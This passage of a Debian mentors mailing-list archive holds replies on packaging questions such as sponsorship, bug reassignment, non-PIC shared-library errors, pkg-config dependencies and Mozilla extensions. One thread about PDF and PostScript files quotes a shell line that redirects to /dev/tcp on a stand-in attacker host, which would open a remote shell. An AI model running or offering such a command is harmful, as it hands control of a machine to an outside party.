that this upload has fixed. Not a pretty solution, but I could come up with nothing better. The changelog entries are meant as documentation, so it will be known they were closed, and so that I remember which ones to close. You don't need that. Closing the original bugs will close them for this specific version of this specific package, leaving it open for stunnel4 in older versions. That's what bug versioning is for. This is a major update to the package, since I'm transitioning to version 4. Eventually I'll upload a new stunnel4, which will be a simple dummy upgrade package to pull in stunnel. I think it would be convenient if both packages were to be sponsored by the same person. So now you maintain an stunnel version 4 while there is an stunnel4 package. I don't understand the reasons yet. The expected next upload of stunnel4 will be an empty dummy package that pulls stunnel as a dependency. It will also mark all stunnel4 bugs as closed on that version. Would it be a better idea to ask *now* for stunnel4 removal and have stunnel provide the dummy stunnel4 binary? I think I'd have to bump the epoch on the stunnel version, to make sure all the depends/conflicts are sane. Why not generate the stunnel binary package from the stunnel4 source package ? You can even provide the stunnel4 transition package at the same time. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Creating /usr/bin/ entries to scripts the right way
On Mon, Jul 30, 2007 at 10:48:21AM +0530, Kumar Appaiah [EMAIL PROTECTED] wrote: Dear Debian Mentors, While working on a Python command-line application (harvestman, which is already in Debian), I have the necessity to create a /usr/bin entry. Now, creating a symbolic link to the actual executable in /usr/lib/python2.4/... is what the provided installer does. But I want to replace it with this: #!/bin/sh exec /usr/bin/python /usr/lib/`pyversions \ -d`/site-packages/HarvestMan/harvestman.py $@ Now, this is find and great. But _how_ do I put this in my package? Do I put it as harvestman.exec in my package's ./debian/ directory and then copy it and set the permissions for it using install? Or is there a more elegant way of getting over this? This is just the fine way. Or, for 2 lines, you can directly write them in debian/rules. BTW, I would recommend you to, and to hard code the python version in the script provided by the package instead of using pyversions at runtime : if your package is built for python 2.4 and 2.5, and is installed when python 2.6 becomes default, it will stop working. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: gnome-specimen
On Mon, Jul 23, 2007 at 12:35:17PM +0530, Kartik Mistry [EMAIL PROTECTED]
wrote:
Dear mentors,
I am looking for a sponsor for my package gnome-specimen.
* Package name: gnome-specimen
Version : 0.3-1
Upstream Author : Wouter Bolsterlee [EMAIL PROTECTED]
* URL : http://uwstopia.nl/geek/projects/gnome-specimen/
* License : GPL
Section : gnome
It builds these binary packages:
gnome-specimen - Simple font preview and compare application for Gnome
The package appears to be lintian/linda/pbuilder clean.
The upload would fix these bugs: 434250
The package can be found on mentors.debian.net:
- URL: http://mentors.debian.net/debian/pool/main/g/gnome-specimen
- Source repository: deb-src http://mentors.debian.net/debian unstable
main contrib non-free
- dget
http://mentors.debian.net/debian/pool/main/g/gnome-specimen/gnome-specimen_0.3-1.dsc
I would be glad if someone uploaded this package for me.
Just a few notes:
- In the manpage, I would add an article ('a') between gnome-specimen
is and simple tool.
- In the manpage, still, most of the options (especially bonobo activation
and gnome library options) are pretty useless.
- I think you should build depend on python-dev instead of
python-all-dev.
- I don't really know cdbs, but i guess you can either put all your
build dependencies in build-depends or build-depends-indep.
I'm not confortable with sponsoring a package using cdbs, but if nobody
steps in, I will, since I'm very interested in having this in the
archive.
Cheers,
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Change in my sponsorship requirements
On Sun, Jul 15, 2007 at 09:37:39PM +0200, Christoph Haas [EMAIL PROTECTED] wrote: As I outlined in the mentors.debian.net thread I'm a great fan of not having different uploads with the same revision number. So I'd even like to enforce that uploads to mentors.debian.net with the same revision number as an existing upload is ignored. However the above proposals have two issues I don't really like: - they tell the package maintainer that the revision must be -1 when the package finally enters Debian. The pre releases using the ~unreleased.1 syntax tastes complicated. - if the sponsor deems the package worthy to be uploaded then the sponsoree would still need to build the package again because it is finally allowed to carry the -1 revision The sponsor should have to build the package anyways, so why not make the sponsor consolidate the changelog if he thinks it's worth uploading ? Why so complicated? Just increase the revision number. And if 1.0-8 is the first revision that fits the sponsor's taste then be it so. The ftp-master server is not oppinionated on revisions higher than -1. But then, the maintainer or the sponsor would have to take an extra care to include the .orig.tar.gz in the changes, because default options of build tools won't if the revision is not -1. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fix a bug located in a dependency
On Thu, May 24, 2007 at 11:41:49PM +0300, Damyan Ivanov [EMAIL PROTECTED] wrote: -=| Mike Hommey, Thu, 24 May 2007 19:39:20 +0200 |=- A standard example of this are bugs in applications that are due to bugs in libraries they depend on. Users would report bugs on the application, but it would be reassigned to the library. Next users reporting the bug would not see it in the list of bugs for the application with reportbug. How about cloning the bug, reassigning the clone to the library and making the original bug be blocked by the clone? Sadly, the block stuff doesn't even notify the blocked bug when the blocker bug is closed... Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fix a bug located in a dependency
On Fri, May 25, 2007 at 09:18:19AM +0300, Damyan Ivanov [EMAIL PROTECTED] wrote: -=| Mike Hommey, Fri, 25 May 2007 08:12:15 +0200 |=- On Thu, May 24, 2007 at 11:41:49PM +0300, Damyan Ivanov [EMAIL PROTECTED] wrote: -=| Mike Hommey, Thu, 24 May 2007 19:39:20 +0200 |=- A standard example of this are bugs in applications that are due to bugs in libraries they depend on. Users would report bugs on the application, but it would be reassigned to the library. Next users reporting the bug would not see it in the list of bugs for the application with reportbug. How about cloning the bug, reassigning the clone to the library and making the original bug be blocked by the clone? Sadly, the block stuff doesn't even notify the blocked bug when the blocker bug is closed... This is #323663, I guess. Is the other solution (proposed by Don) - reassign #n A,B going to work in your case? Doesn't that fuck up versioning tracking of the BTS ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fix a bug located in a dependency
On Fri, May 25, 2007 at 12:04:16AM -0700, Don Armstrong wrote: Doesn't that fuck up versioning tracking of the BTS ? No, because the bug should only be found in B, not A. So how would it help users with reportbug if the bug is now on B and not A, when they report on A ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fix a bug located in a dependency
On Thu, May 24, 2007 at 10:56:08AM +, Jörg Sommer [EMAIL PROTECTED] wrote: Hi, I really would like to hear you oppinion about the following matter: Package A depends on libB. There's a bug in libB. A bug report was files to package A, because the submitter spotted the bug in package A. What would you, as maintainer of package A, do? What do you think about leaving the bug report as is and close it by adding a dependency on the next release of libB, that fixes the bug. My personal opinion is that this is a bug in libB and I would reassign the bug to this package. This is something I've been wondering for a while. There is a problem with the way we traditionally handle bugs, because it may lead users to file duplicate bugs. A standard example of this are bugs in applications that are due to bugs in libraries they depend on. Users would report bugs on the application, but it would be reassigned to the library. Next users reporting the bug would not see it in the list of bugs for the application with reportbug. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Copyright issues GPL-PHP license
On Sun, May 06, 2007 at 01:22:34PM -0300, Alex Queiroz [EMAIL PROTECTED] wrote: Hallo, On 5/6/07, Neil Williams [EMAIL PROTECTED] wrote: I also share Vorlon's opinion about the package as a whole: In addition, the concept of a webserver written entirely in PHP is utterly abominable, an example of total programming putrifaction. I expect this code to be so inherently unmaintainable that its very presence would warrant an RC bug. As a DD and as a user of PHP, I would ask that this package not be uploaded to Debian. This is a very sad opinion. Is Debian censoring programming languages now? No, but it won't be the first time a program is rejected on the grounds of quality and security support. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Copyright issues GPL-PHP license
On Sun, May 06, 2007 at 08:29:37PM +0200, Thijs Kinkhorst [EMAIL PROTECTED] wrote: On Sunday 6 May 2007 20:23, David Paleino wrote: Why? And a web server written in awk, then? Is that of any real-world use? I've seen implementations of that on the Internet. I admit that this is not enough reason to package it though. There's even one in Postscript. What about packaging it ? Right. The main question for me that is not answered here yet, is: what does this http server add to Debian, which already has a dozen of http servers of great variety? Does it have a real world advantage over others? It's in PHP, it can run PHP applications natively /o\ Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: truncate
On Thu, Apr 19, 2007 at 10:34:24AM +0300, Damyan Ivanov wrote: -=| Peter Pentchev, 19.04.2007 00:54 |=- Or should I file a wishlist bug against bsdmainutils to get truncate(1) included there? I'd say bsdmainutils fits perfect. Its description says: lots of small programs many people expect to find when they use a BSD-style Unix system Even better, the short description: collection of more utilities from FreeBSD So please file a whishlist bug for bsdmainutils. Bonus points for providing a patch :) I'd say it would be better to reassign the ITP and retitle it appropriately. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: truncate
On Wed, Apr 18, 2007 at 04:53:38PM +0300, Peter Pentchev wrote: Dear mentors, I am looking for a sponsor for my package truncate. * Package name: truncate Version : 2007.03.13-1 Upstream Author : Peter Pentchev [EMAIL PROTECTED] (myself) * URL : http://devel.ringlet.net/sysutils/truncate/ * License : Two-clause BSD Section : utils It builds these binary packages: truncate - FreeBSD utility to truncate or extend the size of files The truncate utility adjusts the length of each regular file given on the command-line. This package is simply a redistribution of the utility as found in the FreeBSD base system. . Homepage: http://devel.ringlet.net/sysutils/truncate/ The package is lintian clean. Very frankly, this should go into coreutils. Having a package alone for an utility that is probably less than 100 lines of C, and that can be replaced by a single line perl script (and i'm not talking about these ugly one-liners) is a bit too much. OTOH, I've always wondered why coreutils didn't have an utility for ftruncate(). If licensing is a problem, it could be reimplemented very easily. Writing a wrapper around ftruncate() is not very difficult. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: echroot
On Tue, Apr 17, 2007 at 09:24:42PM +0900, Junichi Uekawa [EMAIL PROTECTED] wrote: Hi, I am looking for a sponsor for my package echroot. echroot extends the basic options that we found in chroot, with echroot we can control many more options than executing chroot. Here I show some of the options that we can happen to echroot. What is the advantage of running a chroot not as root? Personally, I'm touched by this because I'm always forced to use 'su' alongside 'chroot'. Being root inside chrooted environment really is useless. There are dchroot and schroot which can do pretty fancy stuff. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: ITA/RFS: libspf2 -- Sender Policy Framework library, written in C
On Fri, Mar 23, 2007 at 08:23:38PM +0100, Magnus Holmgren [EMAIL PROTECTED] wrote: (...) Have not taken a look at the package, but does the short description Description: Sender Policy Framework library, written in C really have to say written in C ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: reasons why downgrades are Not Supported
On Sun, Jan 14, 2007 at 02:31:28PM +0200, Damyan Ivanov [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -=| Tobias Richter, 14.01.2007 13:29 |=- [EMAIL PROTECTED] wrote: (pre|post)rm of package version 1.5 must undo the actions. However, what exactly is undone must depend on the new version (1.3, 1.0, 0.4), which would clutter the code. Correct me if I'm wrong, but the old (pre|post)rm can only be called with 'remove', 'pruge' or 'upgrade'. So the script does not know that there is a downgrade (to which version?) being installed afterwards. See the section Downgrades on the following excellent page: http://women.debian.org/wiki/English/MaintainerScripts OT, but why can't we have *one* wiki ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Tone-of-voice used by sponsors
On Sun, Jan 14, 2007 at 03:11:54PM -0400, Muammar Wadih El Khatib Rodriguez [EMAIL PROTECTED] wrote: On 1/14/07, Thomas Goirand [EMAIL PROTECTED] wrote: Jens Peter Secher wrote: Daniel Baumann [EMAIL PROTECTED] writes: if you insist on keeping the useless stuff, i consider the package as to ugly according to my mesures of beauty, and hence i'm not sponsoring it. I think it would be better if you toned down this do-as-I-say-or-I-wont-sponsor-you attitude. As others have mentioned, some of the nitpicking is really your personal preferences, and not really something that makes a new Developer much better at the tasks involved in maintaining a package. Anyways, as new Developers get more comfortable with the debhelper parts, the superfluous comments seem to vanish. That is my experience. Cheers, If I may give my view of sponsored... Daniel has been a very good sponsor with me so far, he helped me a lot to understand many things, he was fast, and was patient enough with my mistakes. He don't put lot's of emotions on his messages, he just write what he thinks is good, without any bla bla. I agree. Daniel is a perfectionist and reliable person. Too bad he doesn't apply his sponsoring standards on his own packages. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: changelog entries - ubuntu?
On Tue, Dec 19, 2006 at 11:56:20AM +, Mark Brown [EMAIL PROTECTED] wrote: On Tue, Dec 19, 2006 at 02:31:32AM -0500, Joe Smith wrote: Kevin Coyner [EMAIL PROTECTED] wrote in message f-spot (0.2.2-0ubuntu1) feisty; urgency=low * Update to 0.2.2 upstream That is interesting. If that is followed by annother ubuntu changlog entry it makes perfect sense. Otherwise, it seems a bit odd that a simple update of upstream would be done by reincorporating an ubuntu new upstream patch. Often in cases like this the Debian and Ubuntu packages are produced from the same revision control repository - it's not that the Ubuntu changes are being merged in, it's that both distributions are taking snapshots of the same repository. In which case, why are the versions ubuntu specific ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fwd: Re: RFS: renrot - a program to rename and rotate files according to EXIF tags [EMAIL PROTECTED]
On Mon, Nov 06, 2006 at 03:48:54PM +, Neil Williams [EMAIL PROTECTED] wrote: Sending reply to the list for others to view: On 06/11/06 13:36:36, Andy Shevchenko wrote: Neil Williams wrote: I am a whole newbie in the debian packaging. I've read the debian new maintainer guide and packed the my own OpenSource project renrot to it. The next step is a looking for sponsor to put pacakge into archive. The package and other stuff are placed at ftp://andriy.asplinux.com.ua/pub/people/andy/renrot/Debian/ If you need more information, please, don't hesitate to ask. Thanks for notices. I put here more information. Name: renrot License: GPL or Artistic Description: A program to rename and rotate files according to EXIF tags Renrot renames files according the DateTimeOriginal and FileModifyDate EXIF tags, if they exist. Otherwise, the name will be set according to the current timestamp. Additionally, it rotates files and their thumbnails, accordingly Orientation EXIF tag. URL: ftp://andriy.asplinux.com.ua/pub/people/andy/renrot/Debian/ Several projects like RenRot are available in the net, but why to choose namely RenRot? a) it is pure CLI with all it's advantage (no need KDE or any other monster to run); b) it uses Image::ExifTool (the best open tool to work with EXIF data) and libjpeg6 (the best open tool to operate JPEG format files, to correctly rotate both, the entire file and the thumbnail inside it); c) it has very much flex file naming and aggregation template engines; d) it uses original algorithm of smart Orientation tag rotation; e) it is a small Perl script - no need compilation, very high portablility. FWIW, jhead already does all that, except that it's not a perl script. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Fwd: Re: RFS: renrot - a program to rename and rotate files according to EXIF tags [EMAIL PROTECTED]
On Mon, Nov 06, 2006 at 06:31:05PM +0200, Andy Shevchenko [EMAIL PROTECTED] wrote: Mike Hommey wrote: FWIW, jhead already does all that, except that it's not a perl script. I know about jhead, but renrot has several differs such as: - rotation of Orientation tag (its original feature) If you mean rotation of pictures depending on the orientation tag in the exif data, jhead already does that, lossless, with jpegtran (which is in libjpeg-progs) Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: look for similar source package (kernel module)
On Sun, Oct 29, 2006 at 09:56:33PM +0100, Marco Amadori [EMAIL PROTECTED] wrote: Alle 20:55, domenica 29 ottobre 2006, Daniel Baumann ha scritto: Well, I just re-read the mail I got from him, where he wrote: Provided the QEMU acceleration module is not sold (for example on a CD or as a part of a commercial distribution based on Debian) you have my permission to package it. This seems to be against DFSG n# 8. License Must Not Be Specific to Debian [0] [0] http://www.debian.org/social_contract.en.html#guidelines DFSG needn't apply on non-free. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: shlib-with-non-pic-code
On Tue, Aug 29, 2006 at 09:39:03AM +1000, Matthew Palmer [EMAIL PROTECTED] wrote: Bugger. That's the only thing that I've ever had to check. Mike Hommey appears to have deeper knowledge of why things can end up being non-position-independent than me, so I'll leave the tricky debugging work to him. Well, I don't really know much. I only know I got the problem once and that was because of a gcc bug, which is not yet fixed (though #331460 is marked fixed, it actually isn't entirely fixed, there are still issues with c++ code using visibility). Now, it seems the involved code doesn't set visibility. The best for Michael to do is to grep PLT in the generated assembler code and check what can be generating those. Cheers, Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: shlib-with-non-pic-code
On Tue, Aug 29, 2006 at 05:13:10PM +0200, Christian Aichinger [EMAIL PROTECTED] wrote: On Tue, Aug 29, 2006 at 08:59:19AM +0200, Mike Hommey wrote: Now, it seems the involved code doesn't set visibility. The best for Michael to do is to grep PLT in the generated assembler code and check what can be generating those. Searching for PLT won't help, you won't find text relocations that way. Text relocations result when library code assumes that itself or other libraries are loaded at specific addresses. However PLT/GOT is a mechanism to make binaries/libraries independent of their load addresses, i.e. to avoid text relocations in the first place. Dammit, that was the other way around, it's when you find PLT that you're safe. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: shlib-with-non-pic-code
On Mon, Aug 28, 2006 at 07:57:27PM +0200, Michael Biebl [EMAIL PROTECTED] wrote: Hi everyone! I got a strange problem with my kdesvn package and hope someone can help me. Upstream switched the build system from autotools to CMake. Now lintian complains about the files in /usr/lib/kde3: E: kdesvn-kio-plugins: shlib-with-non-pic-code usr/lib/kde3/kded_kdesvnd.so E: kdesvn-kio-plugins: shlib-with-non-pic-code usr/lib/kde3/kio_ksvn.so E: kdesvn: shlib-with-non-pic-code usr/lib/kde3/libkdesvnpart.so Looking at the corresponding check, lintian greps for TEXTREL in objdump -x and indead, this section is there. Can someone explain what this section is for, google was not very helpful there. The command line when linking the modules is /usr/bin/c++ -fPIC -g -Wall -O2 -Wnon-virtual-dtor -Wno-long-long -ansi -Wundef -Wcast-align -Wconversion -Wchar-subscripts -Wall -W -Wpointer-arith -Wwrite-strings -O2 -Wformat-security -fno-exceptions -fno-check-new -fno-common -fexceptions -fstack-protector -shared -Wl,-soname,kded_kdesvnd.so -o ../../lib/kded_kdesvnd.so Does the code contain any __attribute__((visibility(hidden))) kinda stuff ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: bug got stuck in Fixed and Pending? How comes?
On Sat, Jul 01, 2006 at 10:40:53AM +0200, Harald Dunkel [EMAIL PROTECTED]
wrote:
Hi folks,
http://packages.qa.debian.org/b/blockade.html shows that
bug #346938 is set to Fixed and Pending :-{. This
bug was fixed more that 6 months ago, so what is the
BTS waiting for?
There's no mechanism in the BTS to remove the pending tag when
tagging a bug fixed.
A bug is tagged fixed when it has been fixed in a source NMU.
It remains fixed until acknowledged by the maintainer in a new
upload.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: bug got stuck in Fixed and Pending? How comes?
On Sat, Jul 01, 2006 at 01:58:12PM +0200, Harald Dunkel [EMAIL PROTECTED]
wrote:
Hi Thijs,
Thijs Kinkhorst wrote:
Hello Harald,
http://packages.qa.debian.org/b/blockade.html shows that
bug #346938 is set to Fixed and Pending :-{. This
bug was fixed more that 6 months ago, so what is the
BTS waiting for?
The upload that fixed the bug, 20041028-9, contained these fields:
| Maintainer: Marc 'HE' Brockschmidt [EMAIL PROTECTED]
| Changed-By: Harald Dunkel [EMAIL PROTECTED]
and thus, this is considered an NMU (the one uploading != the maintainer).
Blockade is one of the packages I created during the NM process.
I cannot upload anything yet, so Marc (my AM) did the upload,
too. We have (the one uploading == the maintainer) here.
If you are the maintainer, you should be listed as such. Your AM only
needs to sign your upload. That's how works sponsoring.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: bug got stuck in Fixed and Pending? How comes?
On Sat, Jul 01, 2006 at 03:31:44PM +0200, Marc 'HE' Brockschmidt [EMAIL PROTECTED] wrote: Mike Hommey [EMAIL PROTECTED] writes: Harald Dunkel [EMAIL PROTECTED] wrote: Thijs Kinkhorst wrote: The upload that fixed the bug, 20041028-9, contained these fields: | Maintainer: Marc 'HE' Brockschmidt [EMAIL PROTECTED] | Changed-By: Harald Dunkel [EMAIL PROTECTED] and thus, this is considered an NMU (the one uploading != the maintainer). Blockade is one of the packages I created during the NM process. I cannot upload anything yet, so Marc (my AM) did the upload, too. We have (the one uploading == the maintainer) here. If you are the maintainer, you should be listed as such. Your AM only needs to sign your upload. That's how works sponsoring. NO NO NO NO NO NO NO NO NO NO NO. I *need* to build the package, as I, as sponsor, can only check the integrity of the source, not of a provided binary package. Actually, that's what I meant to write, but failed to. The point is you don't have to change the maintainer field. Anyways, you seem to already know that ;) Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: help with seamonkey
On Fri, May 12, 2006 at 09:46:06AM -0600, Joseph Smidt [EMAIL PROTECTED] wrote: I am trying to debianize seamonkey. I ITP'd it since I downloaded the source, did, ./configure, make ,make install and evrything went fine so I figured it may not be too bad. However I am having trouble writing the rules file. First, there is no 'make clean' aor 'make distclean' that initially works. You have to configure one like 'make -f client.mk distclean build'. After typing that command distclean works. Also, the Makefile wants the directory all the files are in to be named mozilla but I want it to be named seamonkey-1.0.1. That sounds strange, since it's quite different with firefox, thunderbird, and xulrunner. You may want to take a look to these packages to get an idea about how to build mozilla.org products. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: help with seamonkey
On Fri, May 12, 2006 at 09:54:25PM +0200, Mike Hommey [EMAIL PROTECTED] wrote: On Fri, May 12, 2006 at 09:46:06AM -0600, Joseph Smidt [EMAIL PROTECTED] wrote: I am trying to debianize seamonkey. I ITP'd it since I downloaded the source, did, ./configure, make ,make install and evrything went fine so I figured it may not be too bad. However I am having trouble writing the rules file. First, there is no 'make clean' aor 'make distclean' that initially works. You have to configure one like 'make -f client.mk distclean build'. After typing that command distclean works. Also, the Makefile wants the directory all the files are in to be named mozilla but I want it to be named seamonkey-1.0.1. That sounds strange, since it's quite different with firefox, thunderbird, and xulrunner. You may want to take a look to these packages to get an idea about how to build mozilla.org products. (And take a look to the latest threads on the pkg-mozilla-maintainers list on alioth, about the make clean issues) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFC: gnash (FSF Free Flash Player)
On Fri, Apr 21, 2006 at 12:49:35AM +0200, Miriam Ruiz [EMAIL PROTECTED] wrote: * debian/control: about mozilla-dev, generally, xulrunner is being moved to these days, is that something that is possible for the plugin? I'd love to be able to try this in galeon/epiphany. I haven't ever had a look at xulrunner but it seems to be interesting. The plugin should be compatible with any browser that supports mozilla plugins I guess. Is there a standard way to handle that? If you want the plugin built with xulrunner with any browser (including the current firefox and mozilla), you'll have to not link against the xulrunner libraries. The symbols will be already loaded by the browser anyway, so there won't be a symbol resolution problem. But if you link, there will be two version of the same symbols in memory and big problems. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Regarding co-maintaining a package
On Sun, Mar 19, 2006 at 01:06:42PM +0530, Kumar Appaiah [EMAIL PROTECTED] wrote: Hello! I wanted to know what the procedure to add someone as co-maintainer is. I am the maintainer of a package, and would like to add the name of another person (actually upstream author) as co-maintainer. I guess I will have to file an RFH bug in wnpp, but how do I add the co-maintainer and close it? Don't feel like you have to file an RFH bug. If you already have someone to help you, this is not required. As for adding the co-maintainer, add an Uploaders: field in the debian/control file. Cheers Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Proposal for collaborative maintenance of packages
Am Sonntag, den 18.12.2005, 17:19 +0100 schrieb Raphael Hertzog: This infrastructure is seriously needed in Debian because: - team maintenance with SVN is more and more popular, and a good web interface above a SVN repo of Debian packages would help all those teams I'd be in favour or a bzr solution, not because of random flame-war-feature-reasons, but of the central approach SVN takes. You have to handle permissions, have to take care of a lot of people, which is not a technical problem, but a social problem too. People do feel locked out. If the central approach of svn is scary to you, just use svk. It is compatible with svn and is decentralized. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: pkg-config
On Sat, Sep 03, 2005 at 12:42:00PM +0100, Neil Williams [EMAIL PROTECTED] wrote: On Saturday 03 September 2005 12:19 pm, Steve Langasek wrote: At the present time and given the current state of the software I believe it is not in Debian's best interest that you ship a .pc file *at all* upstream, so I can't offer you any recommendations here. Unfortunately, I'm going have to ship something because I'm also packaging programs that depend on the library and they need to detect it using pkg-config on other distributions. Since when is pkg-config the only way to detect libraries ? Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: webdeveloper for Seamonkey
On Sun, Aug 28, 2005 at 05:25:53PM -0400, Michael Spang [EMAIL PROTECTED] wrote: You're right. With the jars unpacked, most of the data is the same; whether or not some crazy [sym]linking would be required to accomodate the files that do differ I have yet to find out. I'll prepare a package for the last option while awaiting more feedback. If you need any help, you can ask me, I have some experience with this kind of merging stuff. You might want to look at how it is dealt for checky, for which I did such a merge quite some time ago. Cheers Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: webdeveloper for Seamonkey
On Sun, Aug 28, 2005 at 03:25:54AM -0400, Michael Spang [EMAIL PROTECTED] wrote: (...) There are several possible courses of action: * merge the Seamonkey version into mozilla-firefox-webdeveloper, with a note in a description that Seamonkey support is now included * package the different versions in seperate packages * don't package the Seamonkey version at all * create a new package mozilla-webdeveloper which replaces mozilla-firefox-webdeveloper and includes support for both browsers. This follows the most prominent naming convention in the archive for such packages. I'd go for the last option. Anyways, it is more than likely that there is shareable data between them. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: pdf files in upstream tarball and -doc package
On Fri, Feb 11, 2005 at 01:07:47AM +0100, martin f krafft [EMAIL PROTECTED] wrote: also sprach Justin Pryzby [EMAIL PROTECTED] [2005.02.11.0017 +0100]: sh /dev/tcp/mallory.com/1337 not on debian. :) shell tcp/udp disabled. :/ You mean it's not possible to run a postscript web server on debian ? How sad... Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: -dev package dependency policy
On Sun, Nov 28, 2004 at 09:06:33AM +0100, Osamu Aoki [EMAIL PROTECTED] wrote:
On Sun, Nov 28, 2004 at 04:53:30PM +0900, Mike Hommey wrote:
On Sun, Nov 28, 2004 at 07:27:20AM +0100, Osamu Aoki [EMAIL PROTECTED]
wrote:
pkg-config --libs uim = 0.3.9
generates -luim -lm17n instead of only -luim as before.
If the pkg-config file of uim gives a -lm17n, then, first of all,
libuim-dev should depend on libm17n-dev.
OK. How about scim?
[EMAIL PROTECTED]:~$ pkg-config --libs scim
-lscim-1.0
So scim-dev can be as:
Package: scim-dev
Section: devel
Architecture: any
Depends: scim (= ${Source-Version}), libc6-dev | libc-dev
Well, that'd depend on the content of the header files of scim. If they
include some other stuff, you must depend on this other stuff.
Mike
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: -dev package dependency policy
On Sun, Nov 28, 2004 at 07:27:20AM +0100, Osamu Aoki [EMAIL PROTECTED] wrote: pkg-config --libs uim = 0.3.9 generates -luim -lm17n instead of only -luim as before. If the pkg-config file of uim gives a -lm17n, then, first of all, libuim-dev should depend on libm17n-dev. Mike
Re: -dev package dependency policy
On Sun, Nov 28, 2004 at 09:06:33AM +0100, Osamu Aoki [EMAIL PROTECTED] wrote:
On Sun, Nov 28, 2004 at 04:53:30PM +0900, Mike Hommey wrote:
On Sun, Nov 28, 2004 at 07:27:20AM +0100, Osamu Aoki [EMAIL PROTECTED]
wrote:
pkg-config --libs uim = 0.3.9
generates -luim -lm17n instead of only -luim as before.
If the pkg-config file of uim gives a -lm17n, then, first of all,
libuim-dev should depend on libm17n-dev.
OK. How about scim?
[EMAIL PROTECTED]:~$ pkg-config --libs scim
-lscim-1.0
So scim-dev can be as:
Package: scim-dev
Section: devel
Architecture: any
Depends: scim (= ${Source-Version}), libc6-dev | libc-dev
Well, that'd depend on the content of the header files of scim. If they
include some other stuff, you must depend on this other stuff.
Mike
Re: -dev package dependency policy
